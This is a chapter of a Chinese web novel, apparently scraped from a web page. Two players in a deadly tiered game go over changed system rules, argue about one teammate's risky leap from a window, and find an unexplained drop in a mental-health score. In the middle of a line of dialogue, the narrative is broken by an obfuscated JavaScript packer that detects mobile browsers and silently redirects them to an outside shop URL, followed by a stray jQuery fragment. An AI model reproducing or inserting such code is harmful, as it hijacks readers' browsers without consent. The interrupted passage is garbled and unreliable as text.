“有没有可能不是妄想症?”梁阿汀突然问道。

    司季:?

    “那个叫赵不怵的,有没有可能不是什么妄想症,而是的的确确能看到东西。”

    司季:“……”

    他没有考虑过这个,赵不怵的事情只是他顺便听到也就顺嘴提了一下,他没有想到梁阿汀听完之后第一个问题会是这个。

    “算了,等之后遇到他也就知道了。”

    梁阿汀揉揉太阳穴,自醒来狂吐已经过去了几十分钟了,现在那种强烈的不适感消退了大半。

    刚才那几十分钟里,司季给她讲了她昏迷这段时间发生的所有事。

    简而言之,自他们从副本出来后,系统就发生了剧变,规则全部翻新,他们在第一层费劲巴力搜集的那些情报全部作废,现在所有人又一次从零开始。

    “总结一下现在的情况。”梁阿汀拿出手机新建了个备忘录,一边梳理一边打字,“百分制变成了等级制,逐级闯关变成了可跳级闯关,我们现在的综合能力等级已经够第三层的标准了。”

    梁阿汀突然皱起眉头:“它着什么急啊?”

    司季知道这个“它”指的是系统,他推测道:“可能是在我们不知道的地方发生了什么事,导致系统觉得之前的规则不再适用了。”

    “能是什么事?难不成还能是有人闯完第十八层了?”

    “应该不是。”司季摇摇头,“按照系统的风格,如果有人通关最后一层,它一定会大肆宣扬,鼓励所有人努力往后闯。”

    梁阿汀叹口气:“你说得对。”

    她点开了自己的信息面板,将自己的信息共享:“司季,我能看看你的数据吗?”

    司季点点头,共享了自己的信息面板。

    姓名:司季

    性别:男

    年龄:20

    当前所在层级:3/18

    身体健康值:82/100

    心理健康值:70/100

    综合能力评定:三级

    是否达到游戏标准:是

    是否挑战高层级:是/否

    除了健康值之外,其它的信息几乎一样,最后一行“是否挑战高层级”后面是两个可选选项,但梁阿汀的这一行信息是灰色的,不可选状态。

    梁阿汀了然,因为她身体健康值太低,目前没有达到游戏标准,自然也就不能往高层挑战。

    综合能力评定最高是多少级不得而知,但按照现有数据来看,她和司季都是三级,目前所在层级是三,那么最高级很有可能是十八级。

    跳级闯关成功后,能力等级也相应变为当时所在层级的等级。

    比如说她和司季如果按照正常的顺序,接下来应该是进入第三层的副本,将等级提升到四级之后自动进入第四层。但如果他们跳过第四层,直接挑战第五层的副本并且成功通关,那么他们通关后的综合能力等级就是六级。

    梁阿汀用力揉了揉还在隐隐作痛的脑袋,叹了口气:“规则发生剧变,我们先别着急往下闯,修整几天,收集到足够情报,之后再制定下一步的计划吧。”

    司季点点头:“好。”

    揉着揉着,梁阿汀突然停下了动作,抬眼看他,眼神严肃,写着很多想说。

    司季嘴唇微不可查地动了一下,莫名紧张。

    梁阿汀第一次用这样的表情看他。

    “司季,从一开始到现在,所有的事,谢谢你。”

    司季没想到梁阿汀摆出那副表情,开口说的话却是这个。

    他摇摇头:“我们是队友。”

    是队友,所以互帮互助是天经地义的。

    “司季,你实话跟我说。”梁阿汀继续,表情依旧严肃,“你那个时候是迫不得已的冒险,还是反复权衡之后的结果?”

    司季敛下眼皮,手指又开始不自觉地揉搓,声音很轻:“不是冒险。”

    梁阿汀皱了眉头,一回想到司季从四楼窗口掉下来的那一幕,胸口就涌上来一股烦躁。

    她尽力让语气听起来和缓一些:“在倒计时剩最后两秒的时候跳下来,卡着最后的时间离开酒店,这些都是你算好了的?”

    司季沉默着点了点头。

    规则说的离开酒店,只是离开酒店,并没有规定一定要从正门离开,从窗户直接跳出来,同样是离开酒店。

    “最后追着你的那个鬼,是你的任务对象吗?”

    “不是。”司季说,“那是游荡在走廊里的无名鬼。”

    “我完成第十个任务之后,时间还剩两分钟,在往回走的时候我被那只鬼拦住了。”司季在跟她解释,叙述整件事的语气平淡得就好像在说别人的事,“那只鬼很强,我打不过它,只能逃跑,但剩下的时间不够我从四楼跑出酒店。”

    “所以你就干脆把它引到窗边,卡着点跳出窗口,这样时间结束的时候你正好在酒店外面,也算是完成任务并安全离开酒店了。”梁阿汀接着他的话补全了他的整个过程。

    但了解过程是一回事,梁阿汀还是觉得这一举动太过冒险。

    她表情凝重:“可是你有没有想过,如果倒计时结束的时间并不是整个副本结束的时间怎么办?你的确完成了任务没错,但系统如果没有及时把你弹出副本,你还是会摔死。”

    司季沉默了一瞬:“就算是那样,任务也完成了。”

    梁阿汀看着司季云淡风轻的样子,不知道该说什么。

    她相信司季所说的,他是真的能算准下落的具体时间,但是她不相信系统。

    完成任务固然重要,但绝对没有重要到拿命去赌。

    屋内很静,静到梁阿汀能清楚地听到自己的心跳声,她轻声问:“你是打算用命换这一次通关么?”

    司季突然反应过来梁阿汀在生气,他垂下眼睛,开口道歉:“对不起。”

    梁阿汀却摇了摇头:“你不需要跟我道歉,我提这件事不是为了要听你说一句对不起,况且站在你的角度上,你并没有做错什么。”

    她闭了闭眼:“我知道你的能力很强很强,但是我的直觉告诉我这个系统并不像我们想象的那么简单,我们不能用命去跟系统赌。”

    司季没说话,他隐隐约约能够猜到梁阿汀下一句想说什么。

    梁阿汀叹了口气:“可是换做是我,也会和你做出一样的选择,我们现在在做的事,哪一件不是在和系统赌命?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700909|205890||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    司季垂下了眼睛,他懂梁阿汀叹气的点。他们只要闯关,就会有危险,不愿和系统赌命,却不得不赌。

    仅仅是第一层的普通副本就已经是这样的难度了,第十八层会怎样呢?

    “我还能顺利通关,回去高考么?”梁阿汀低下头,轻声道。

    她像是在小声问司季,又像是在自言自语。

    司季眼神一动,淡淡开口:“一层一层来,总能通关的。”

    “仅仅是第一层的副本,你就差点死了,谁能保证第三层不会发生这样的情况?”

    梁阿汀没有抬头,她看着盖在身上的白色被子,两只手攥得死紧,把被子攥出了道道褶皱。

    司季微微皱起眉头。

    “从来没有哪一队成功通关18层的消息传出来过,18层到底是什么?闯完18层就能回家了吗?”慢慢地,梁阿汀的语气急促起来,“会不会其实根本没有人闯到18层,所有消息都是系统编的谎言,其实我们所有人早晚都要死,只是死在不同的层级而已,这根本就是一个无限循……”

    “梁阿汀!”司季清冽的声音突然响起。

    与此同时,什么东西从梁阿汀的衣服口袋里滑了出来,落到地上发出清脆的声响。

    梁阿汀急促的话语戛然而止。

    她慢慢抬起头,望着司季,眼睛里是前所未有的慌乱和惊惧。

    那眼神像受惊的小鹿,司季抿了抿嘴,不自觉地减小了音量,放缓了语气:“你冷静一点。”

    梁阿汀大口大口地喘息,竭力使自己冷静下来。

    她知道自己现在的状态非常不对劲,她很想冷静下来,可是不知道为什么,她感觉从刚才开始自己心口有一股莫名的情绪堆积在那里,说不出是什么,也不知道如何宣泄。

    这个情绪让她无法控制,她一开始以为是司季不顾自身安危跳窗的举动令她觉得后怕,但就在刚才,她发现这种情绪并不像她想的那样,并且还有愈演愈烈的趋势。

    司季突然出声:“你的心理健康值现在是多少?”

    梁阿汀如梦初醒,点开了自己的信息面板,心理健康值那一行的数字赫然显示着48,并且随着她渐渐冷静下来,这数字还在不断攀升。

    ……怎么回事?

    刚醒来的时候还是70,虽然不及在第一层时的80多,但也还算正常,醒来到现在不过也就几十分钟,再怎么心理素质差,也不应该一瞬间骤降到及格线以下。

    梁阿汀深深地皱起眉头,看着她的心理健康值一点点回升至70,越想越觉得奇怪。

    司季刚想问梁阿汀怎么了,一低头看见了刚才从梁阿汀口袋里滑出来的东西,那是一枚比一元硬币略小一圈的游戏纪念币,上面刻着什么花纹。

    他弯腰捡起来,这才看清那花纹是一朵荆棘玫瑰。

    “那是副本里的npc给我的。”梁阿汀看到司季的动作,解释道。

    司季没有多问,伸手把纪念币递还给她。

    梁阿汀随手接过,捏在手里,视线无意间扫过某处,定格。

    下一秒,她的脸色突然变得煞白,然后像被烫到了一样松开手,任由纪念币掉落到被子上。